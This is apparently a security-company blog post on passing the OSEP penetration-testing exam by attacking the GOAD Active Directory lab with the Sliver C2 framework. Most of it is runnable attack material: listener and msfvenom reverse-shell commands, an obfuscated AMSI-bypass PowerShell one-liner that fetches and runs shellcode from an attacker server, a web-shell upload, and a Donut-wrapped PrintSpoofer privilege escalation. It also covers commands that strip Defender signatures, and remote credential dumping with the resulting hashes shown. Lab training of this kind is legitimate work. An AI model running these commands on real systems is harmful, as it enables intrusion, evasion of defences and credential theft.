Bishop Fox named “Leader” in 2024 GigaOm Radar for Attack Surface Management. Read the Report ›

Passing the OSEP Exam Using Sliver

Dark purple background. Headshot of Jon Guild on left with teal background. OSEP and Sliver icons on right.

Share

The OSEP Exam

Last October, I successfully completed and passed the OffSec Advanced Evasion and Techniques and Breaching Defenses (OSEP) (PEN-300) exam. The exam was fun but also a difficult challenge. OffSec is tight-lipped about their exam contents, so I won't divulge what I encountered there. However, I do want to go into detail about how I utilized Bishop Fox's Sliver C2 framework to pass the exam. I will also share my tips and tricks for exam preparation.

The Game Plan

I discovered after a bit of online research that a lot of people recommended the Cybernetics ProLab offered by HackTheBox, so I signed up and completed it alongside the OSEP course content. The reason why Cybernetics was a good fit was not so much for its challenges in the lab (they did help), but that it gave a good Active Directory environment to practice my C2 workflow in. I was able to set up Sliver, test my AV bypasses, and practice pivoting, enumeration, lateral movement, and escalation in a vulnerable lab environment. In all honesty, I think that's the reason why I passed. I was able to play around and practice with my methodology and refine it as I went. I saw what worked, what didn't, what tools I should use, etc., and I want to pass those same tips onto you.

But the ProLab is costly, so for our purposes in this post, we're going to use Game of Thrones Active Directory (GOAD), which you can run locally and practice the core concepts that are taught in the OSEP course! You're going to need around 100 gigs of free space and roughly 32 gigs of RAM, but even that is not a requirement (you can turn off the virtual machines you aren't running to save on RAM). If you want to follow along and use an easy-to-setup vulnerable AD environment, GOAD is a great solution. I'll be using it here to illustrate my Sliver setup and tips that helped me pass the exam.

C2 Setup

So, let's set up Sliver, our C2 framework of choice here. All the steps are outlined below and done on a Kali machine. I will be targeting the GOAD environment which I have installed locally. I'm also going to assume you have Sliver installed and running on your machine (if you need to install it, go here).

With that out of the way, let's get started!

In Sliver:

sliver > profiles new beacon --mtls 192.168.56.1:443 --format shellcode goad-shellcode-beacon
sliver > stage-listener -u tcp://192.168.56.1:8080 -p goad-shellcode-beacon
sliver > mtls -L 192.168.56.1 -l 443

We have our stager listener on port 8080 and our C2 channel on port 443 – change these up as you need. I used beacons during my testing since they are good for long-haul communication, and I frequently used interactive sessions since we are in a lab environment. The last thing we need is our shellcode, and we can use Sliver or msfvenom.

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=8080

With all the pieces in place, we can now look at how we will be executing our payload on our target. For OSEP, bypassing AV is a critical part of the exam. The course material goes into bypassing AV, AMSI, custom loaders, etc. I highly encourage you to find an AMSI bypass that works for you and a payload that can bypass AV. If we can use PowerShell, we can make use of a PowerShell shellcode runner from the course (or you can find one online). Otherwise, my go-to executable to bypass AV is shellcode process hollowing, found here. You can easily clone the repo, open it up in Visual Studio, replace the shellcode buffer with one generated from msfvenom, and compile (make sure to change your format too: -f csharp!) Also, note that if you do choose to use the repo above, the shellcode is expected to be xor encoded, so please make sure you encode your shellcode before pasting it into the code.

With our PowerShell shellcode runner and compiled EXE in hand, we can begin hacking!

Let's Hack

For this blog post, let's assume we've enumerated the GOAD domain already and found that server Castelblack (192.168.56.22) is hosting an IIS server webpage, and the DC is Winterfell (192.168.56.11). Going to the Castelblack web server shows us a file upload page.

Let's upload an ASPX backdoor. A quick Google search brings us to this GitHub page. After reviewing the code, it doesn't seem that we need to make any changes to it, so we upload it to the server and browse to it. A quick ffuf of the webserver shows us an upload directory. Browsing to it presents us with our backdoor!

Our backdoor includes an upload function, as well as the ability to execute shell commands. We can run a PowerShell payload or upload our EXE and execute it for a sliver beacon. I'm going to use a PowerShell command for this demo, but I encourage you to try both.

powershell "$x=[Ref].Assembly.GetType('System.Management.Automation.Am'+'siUt'+'ils');$y=$x.GetField('am'+'siCon'+'text',[Reflection.BindingFlags]'NonPublic,Static');$z=$y.GetValue($null);[Runtime.InteropServices.Marshal]::WriteInt32($z,0x41424344);IEX (new-object system.net.webclient).downloadstring('http://192.168.56.1:9000/sc.txt')"

And we got our first beacon back! Just to break down what I did above, I'm using the backdoor to run PowerShell. It executes an AMSI bypass in the current shell session, then calls back to my Kali machine which has a web server running on port 9000, and downloads my PowerShell shellcode runner called `sc.txt`. Once it finishes executing, we will find that we have a beacon waiting for us in Sliver!

Since we have a beacon, I'm going to task it to go interactive for faster comms.

Armory Goodness

If you haven't done this yet, I suggest you install all (or some) of the armory extensions. The armory helps Sliver shine, and I constantly used them during my labs, practice tests, and final exam. You can do so with armory install all and give it a minute or so.

Let's see who we are and the privileges we have. Whenever I get a Sliver beacon back, I always check whoami and the privs I have and go from there.

sliver (AMUSED_GEMSBOK) > whoami

Logon ID: <err>
[*] Current Token ID: IIS APPPOOL\DefaultAppPool
sliver (AMUSED_GEMSBOK) > getprivs

Privilege Information for powershell.exe (PID: 1940)
----------------------------------------------------
Process Integrity Level: High
Name                            Description                                     Attributes
====                            ===========                                     ==========
SeAssignPrimaryTokenPrivilege   Replace a process level token                   Disabled
SeIncreaseQuotaPrivilege        Adjust memory quotas for a process              Disabled
SeAuditPrivilege                Generate security audits                        Disabled
SeChangeNotifyPrivilege         Bypass traverse checking                        Enabled, Enabled by Default
SeImpersonatePrivilege          Impersonate a client after authentication       Enabled, Enabled by Default
SeCreateGlobalPrivilege         Create global objects                           Enabled, Enabled by Default
SeIncreaseWorkingSetPrivilege   Increase a process working set                  Disabled

Nice. We are running as the IIS Server which has the SeImpersonatePrivilege. We should be able to escalate to SYSTEM using printspoofer or with efspotato. I also like to look at the running processes with ps.

Donuts?!

Sliver can execute raw shellcode files. This worked like magic for me when I used TheWover's Donut tool. Basically, we could take any executable and turn it into position-independent shellcode and have it run on the machine through Sliver. Why is this useful? Well, with AV enabled on the box, we want to try and stay in memory as much as possible. If we run a tool like efspotato or printspoofer, they will most likely get caught by AV. And I don't want to rewrite or modify these tools if possible.

Donut has a Linux script that we can run on our Kali machine, so let's install and use that. Additionally, I will use printspoofer by itm4n to get a system shell. For printspoofer, according to the README on the GitHub page, it says that it works on Windows Server 2016/2019, so let's use Sliver to see what version of Windows we are in with info:

Lastly, I want printspoofer to run the binary of my choice, which is the shellcode process hollowing executable we compiled earlier. So, to sum up:

  • We need to upload our AV bypassing binary to the machine.
  • Use Donut to convert printspoofer to shellcode.
  • Run the shellcode in our Sliver session.

Let's use Sliver to upload our AV bypassing binary to the box to c:\windows\tasks.

Now let's get our Donut shellcode:

$donut /var/www/html/bin/PrintSpoofer64.exe -a 2 -b 2 -o /tmp/payload.bin -p '-c c:\windows\tasks\sph.exe'

  [ Donut shellcode generator v0.9.3
  [ Copyright (c) 2019 TheWover, Odzhan

  [ Instance type : Embedded
  [ Module file   : "/var/www/html/bin/PrintSpoofer64.exe"
  [ Entropy       : Random names + Encryption
  [ File type     : EXE
  [ Parameters    : -c c:\windows\tasks\sph.exe
  [ Target CPU    : amd64
  [ AMSI/WDLP     : abort
  [ Shellcode     : "/tmp/payload.bin"

With all the pieces in place, we can now use Sliver to run our shellcode which will execute our binary and get us a Sliver beacon as SYSTEM. I'm going to spawn Notepad as a sacrificial process as well.

sliver (AMUSED_GEMSBOK) > ps -e notepad

 Pid    Ppid   Owner                        Arch     Executable    Session
====== ====== ============================ ======== ============= =========
 2760   3668   IIS APPPOOL\DefaultAppPool   x86_64   notepad.exe   0


⚠️  Security Product(s): Windows Defender

sliver (AMUSED_GEMSBOK) > execute-shellcode -p 2760 /tmp/payload.bin

[*] Executed shellcode on target

sliver (AMUSED_GEMSBOK) > ps -e notepad

 Pid   Ppid   Owner   Arch   Executable   Session
===== ====== ======= ====== ============ =========


⚠️  Security Product(s): Windows Defender

[*] Beacon a72aab1b AMUSED_GEMSBOK - 192.168.56.22:53456 (castelblack) - windows/amd64 - Tue, 15 Aug 2023 13:28:12 MDT

sliver (AMUSED_GEMSBOK) > use a72aab1b-9c34-4450-b57b-ee0478597001

[*] Active beacon AMUSED_GEMSBOK (a72aab1b-9c34-4450-b57b-ee0478597001)

sliver (AMUSED_GEMSBOK) > interactive

[*] Using beacon's active C2 endpoint: mtls://192.168.56.1:443
[*] Tasked beacon AMUSED_GEMSBOK (d568e425)

[*] Session fb72b5f2 AMUSED_GEMSBOK - 192.168.56.22:53459 (castelblack) - windows/amd64 - Tue, 15 Aug 2023 13:29:24 MDT

sliver (AMUSED_GEMSBOK) > use fb

[*] Active session AMUSED_GEMSBOK (fb72b5f2-dfc3-4554-a3ba-1f591d40fe7a)

sliver (AMUSED_GEMSBOK) > whoami

Logon ID: NT AUTHORITY\SYSTEM
[*] Current Token ID: NT AUTHORITY\SYSTEM

\o/ victory! We have our first SYSTEM shell using Sliver.

Enumerating the Domain and Nuking Off AV

Now that we are SYSTEM, we can dump lsass, enumerate the box further, and run sharphound, etc. But I like to disable AV first. My preferred method is to remove the signatures from Defender. It leaves Defender running on the box but won't alert on anything we do:

sliver (AMUSED_GEMSBOK) > execute -o cmd /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All

[*] Output:

Service Version: 4.18.23070.1004
Engine Version: 1.1.23070.1005
AntiSpyware Signature Version: 1.395.522.0
AntiVirus Signature Version: 1.395.522.0

Starting engine and signature rollback to none...
Done!

Awesome. With AV out of the way, we can now run our enumeration tools such as sharphound, which is part of the Sliver armory:

sharp-hound-4 -- '-c all,GPOLocalGroup'


Let's download the file from the remote server to our local machine, so we can import it into bloodhound. We can do ls *.zip in Sliver to get the filename and then use download to grab it.

Now you can import it into bloodhound and dive into any path to take you to owning the domain. We should also enumerate our current machine. We can run hashdump to dump the Windows SAM hashes.

We can also use the sideload feature of Sliver to create a donut file for mimikatz without having too manually do it.

And ps to get a list of running tasks. 

After running the ps command in Sliver, we notice something interesting. We have some processes running as the user NORTH\eddard.stark. Let's run either sharpview or sharpsh which are included in the armory:

sliver (AMUSED_GEMSBOK) > sharpsh -- '-u http://192.168.56.1:9090/PowerView.ps1 -e -c RwBlAHQALQBEAG8AbQBhAGkAbgBHAHIAbwB1AHAAIAAiAEQAbwBtAGEAaQBuACAAQQBkAG0AaQBuAHMAIgA='

[*] sharpsh output:



grouptype              : GLOBAL_SCOPE, SECURITY
admincount             : 1
iscriticalsystemobject : True
samaccounttype         : GROUP_OBJECT
samaccountname         : Domain Admins
whenchanged            : 7/28/2023 11:04:08 PM
objectsid              : S-1-5-21-4164079357-3372510985-393342019-512
objectclass            : {top, group}
cn                     : Domain Admins
usnchanged             : 13385
dscorepropagationdata  : {7/28/2023 11:04:08 PM, 7/28/2023 10:48:59 PM, 1/1/1601 12:04:16 AM}
memberof               : {CN=Denied RODC Password Replication Group,CN=Users,DC=north,DC=sevenkingdoms,DC=local,
                         CN=Administrators,CN=Builtin,DC=north,DC=sevenkingdoms,DC=local}
description            : Designated administrators of the domain
distinguishedname      : CN=Domain Admins,CN=Users,DC=north,DC=sevenkingdoms,DC=local
name                   : Domain Admins
member                 : {CN=eddard.stark,CN=Users,DC=north,DC=sevenkingdoms,DC=local,
                         CN=Administrator,CN=Users,DC=north,DC=sevenkingdoms,DC=local}
usncreated             : 12315
whencreated            : 7/28/2023 10:48:59 PM
instancetype           : 4
objectguid             : 2bd01931-cdf1-48e6-861b-f2e26226b229
objectcategory         : CN=Group,CN=Schema,CN=Configuration,DC=sevenkingdoms,DC=local

Here we are running sharpsh, specifying a web server that has Powerview on it, and then running an encoded PowerShell command to download and execute it. The Powerview command we are running is Get-DomainGroup "Domain Admins". We see that user Eddard.Stark is part of the domain admins group! We should be able to hop onto the DC after migrating into one of the processes running as this user. We can use migrate -p <id> within Sliver to spawn a new Sliver beacon.

sliver (AMUSED_GEMSBOK) > migrate -p 4544

[*] Successfully migrated to 4544

[*] Beacon 0e6b3731 AMUSED_GEMSBOK - 192.168.56.22:55639 (castelblack) - windows/amd64 - Wed, 16 Aug 2023 06:11:38 MDT

sliver (AMUSED_GEMSBOK) > use 0e

[*] Active beacon AMUSED_GEMSBOK (0e6b3731-aec9-44c2-ab2c-a29b68b1fb5e)

sliver (AMUSED_GEMSBOK) > interactive

[*] Using beacon's active C2 endpoint: mtls://192.168.56.1:443
[*] Tasked beacon AMUSED_GEMSBOK (7ef4072f)

[*] Session cc7ea98d AMUSED_GEMSBOK - 192.168.56.22:55652 (castelblack) - windows/amd64 - Wed, 16 Aug 2023 06:12:54 MDT

sliver (AMUSED_GEMSBOK) > use cc7

[*] Active session AMUSED_GEMSBOK (cc7ea98d-768c-40f4-8fd4-b0cbef375827)

sliver (AMUSED_GEMSBOK) > whoami

Logon ID: NORTH\eddard.stark
[*] Current Token ID: NORTH\eddard.stark

To verify we have access to the DC, let's list the C$ share remotely:

Wonderful! Since this user is DA, we have several ways of moving laterally to the DC. One way is to use sharpsecdump remotely:

sliver (AMUSED_GEMSBOK) > sharpsecdump '' -target=192.168.56.11

[*] sharpsecdump output:
[*] RemoteRegistry service started on 192.168.56.11
[*] Parsing SAM hive on 192.168.56.11
[*] Parsing SECURITY hive on 192.168.56.11
[X] Error stopping RemoteRegistry service on 192.168.56.11, follow-up action may be required
[X] Cleanup completed with errors on 192.168.56.11
---------------Results from 192.168.56.11---------------
[*] SAM hashes
Administrator:500:aad3b435b51404eeaad3b435b51404ee:dbd13e1c4e338284ac4e9874f7de6ef4
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
[X] Error parsing SAM dump file: System.IndexOutOfRangeException: Index was outside the bounds of the array.
   at SharpSecDump.RegQueryValueDemo.ParseSam(Byte[] bootKey, RegistryHive sam)
[*] Cached domain logon information(domain/username:hash)
SEVENKINGDOMS.LOCAL/robert.baratheon:$DCC2$10240#robert.baratheon#1b16028ab3b7b19abd51b63225ceb3da
SEVENKINGDOMS.LOCAL/h4x:$DCC2$10240#h4x#0e0c802c7b0ce373652f5340c1f0ddb1
[*] LSA Secrets
[*] $MACHINE.ACC
north.sevenkingdoms.local\winterfell$:aad3b435b51404eeaad3b435b51404ee:a2761ac02aeaf49f905242e883378de7
[*] DPAPI_SYSTEM
dpapi_machinekey:2d9843b971cd6c8edd577e5671319dea3101afe8
dpapi_userkey:60dabb72dc2f90da70c65c97980cad9b70241275
[*] NL$KM
NL$KM:223401760170309388a76bb2874359690e41bd220a0ccc233a5bb674cb90d63514cad8454af0db72d5cf3ba1ed7f3a98cd4dd6366a35242da0eb0f8e3f5281c9
---------------Script execution completed---------------

We can now evil-winrm over or use impacket to own the DC in the domain we are in. Just to showcase it, I'll use impacket's atexec.py script to execute the same PowerShell command we first used, but this time encoded, to get a Sliver beacon.

And we are on the DC as SYSTEM! \o/

Wrapping Up

I'm going to stop here even though we could keep going and own the parent domain, too. I mainly wanted to showcase how you can use Sliver and the Sliver armory to streamline your methodology and workflow. I've only scratched the surface as to what we could do. If you want to play around with it, execute-assembly is great for running .NET binaries in memory, psexec is there for lateral movement, and the Sliver armory just had a big update recently that included a bunch of new tools.

Jon’s Tips For Passing the OSEP Exam

I can't finish this blog without including my tips on how I passed the OSEP exam:

  • Pick your exam time wisely. If you work better in the morning, choose a morning start time. Choose your battleground!
  • Practice, Practice, Practice! When preparing for the exam, I bought the Cybernetics ProLab from HackTheBox which helped me immensely. You can use GOAD like I showed you here, another AD lab environment, or build your own.
  • Know your toolset. Understand the different tools available to you and how they work. You might test a tool in one lab and have it fail in another. Make sure you understand what you are doing versus copying & pasting commands from the internet.
  • Take breaks. My rule was to reevaluate every 2 hours. If I had made significant progress, I would keep going. If I was stuck, I forced myself to take a break.
  • Remember that this is an exam. What I mean is don’t get fixated on bad OPSEC or what you wouldn’t do in the real world. Your goal here is to pass the exam and obtain the flags, so go ahead and disable AV, use RDP, upload your tools, and use all your tricks to help you, not hinder you.
  • GitHub has a lot of awesome repositories! Make sure whatever you decide to use, you understand what it is doing and how you can modify it if needed.

That’s all I have. I wish you the best of luck in your exam, and if you practice, I have full confidence that you will pass with flying colors.

Subscribe to Bishop Fox's Security Blog

Be first to learn about latest tools, advisories, and findings.


Jon Guild

About the author, Jon Guild

Senior Security Consultant

Jon Guild is focused on application security and external penetration testing in Consulting Managed Services at Bishop Fox. Jon holds many cybersecurity certifications including: CISSP, OSEP, OSCP, GCIH, GWAPT, and CRTO. A veteran of the United States Air Force from 2013-2017, Jon served as a Cyberspace Operations Officer, tasked with managing and protecting one of the world's largest active directory networks. When he's not consulting or protecting critical data systems from digital threats, Jon also actively participates in CTFs and vulnerable lab training. Jon graduated with honors from Penn State in 2013.

More by Jon

This site uses cookies to provide you with a great user experience. By continuing to use our website, you consent to the use of cookies. To find out more about the cookies we use, please see our Privacy Policy.